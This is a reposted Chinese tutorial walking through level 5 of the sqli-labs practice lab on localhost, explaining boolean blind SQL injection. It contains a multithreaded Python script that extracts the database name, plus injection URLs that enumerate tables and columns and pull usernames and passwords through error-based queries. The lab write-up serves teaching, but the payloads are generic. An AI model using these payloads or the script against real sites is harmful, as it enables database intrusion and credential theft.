栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

sqli-labs第五关(配合布尔盲注以及python脚本))

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

sqli-labs第五关(配合布尔盲注以及python脚本))

进入第五关,正常显示如下:

加入单引号,判断到id就是一个注入点,根据提示信息可以知道id是一个字符型注入,测试得知应该原语句是这样的:

select * from 'xxx' where id='$id' ........


所以进行接下来的判断,发现我们的猜想是正确的:

我们观察源代码可知,只要查询到了数据就不会回显,所以我们试一试盲注

布尔盲注原理:
我们可以根据判断语句的布尔值正确来“猜测”我们所想要的数据
例如:
http://127.0.0.1/sqli-labs/Less-5/?id=1'(http://127.0.0.1/sqli-labs/Less-5/?id=1') and 1=2 %23(and前有数据,and后是错误语句。所以界面不显示正常界面)

http://127.0.0.1/sqli-labs/Less-5/?id=1'(http://127.0.0.1/sqli-labs/Less-5/?id=1') and 1=1 %23(and前有数据,and后是错误语句。所以界面显示正常界面)

例如查询:database的长度是否是小于8的,界面回显错误

查询:database的长度是否是小于9的,界面回显正确,那么我们就猜出了database的长度是8

那么这样就简单了,我可以使用多年前学会的python写一个脚本自动判断是正确界面还是错误界面不就好了(多线程更快哦)

这不就跑出来了嘛,数据库名:security,那我们不是想怎么样就怎么样了嘛

#网上大多是单线程查询,效率过慢,此旨在开发多线程扫描
from turtle import update
from xml.etree.ElementTree import tostring
import requests
import _thread
import time

def thread_check(ipz):
    global jia
    global database_name
    for tail in chars:
        html_head="http://127.0.0.1/sqli-labs/Less-5/?id=1' and mid(database(),"+str(ipz+1)+",1)='"+tail+"' %23"#-->拼接布尔注入的代码
        html_check=requests.get(html_head)
        html_check_bytes=html_check.content
        html_check_str=html_check_bytes.decode()
        if(html_check_str==html_str):
            update_shu=tail+str(ipz)
            database_name[ipz]=tail
            print(database_name)
            jia=jia+1
            break

html = requests.get('http://127.0.0.1/sqli-labs/Less-5/?id=1')#得到一个Response对象
html_bytes = html.content#属性.content用来显示bytes型网页的源代码
html_str = html_bytes.decode()#属性.decode()用来把bytes型的数据解码为字符串型的数据,默认编码格式UTF-8  -->这里存着正确的界面
database_name=[0,0,0,0,0,0,0,0]#根据判断出的database()名的length来定义数组
chars=[]
jia=0
for i in range(97,123):
    chars.append(chr(i))
for ipz in range(8):    
    try:
        _thread.start_new_thread( thread_check, (ipz,) )
    except:
        print ("Error: 无法启动线程")
while 1:
    pass

查询到库名,下面就是表名

http://127.0.0.1/sqli-labs/Less-5/?id=3'  and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>100 %23


100正常,101报错,所以第一个字符为e
…省略(也可以跟查询表名一样写一个脚本)
查询到表名为email
可以用 limit来查其他的表名

查"users"的字段名:

http://127.0.0.1/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) %23


查到了id
limit 1,1是username
limit 2,1是password

查询username字段值

http://127.0.0.1/sqli-labs/Less-5/?id=1' and(select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)%23


查询password字段值

http://127.0.0.1/sqli-labs/Less-5/?id=1' and(select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 1,1),floor(rand()*2)) as x from security.users group by x) as a)%23

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/879572.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号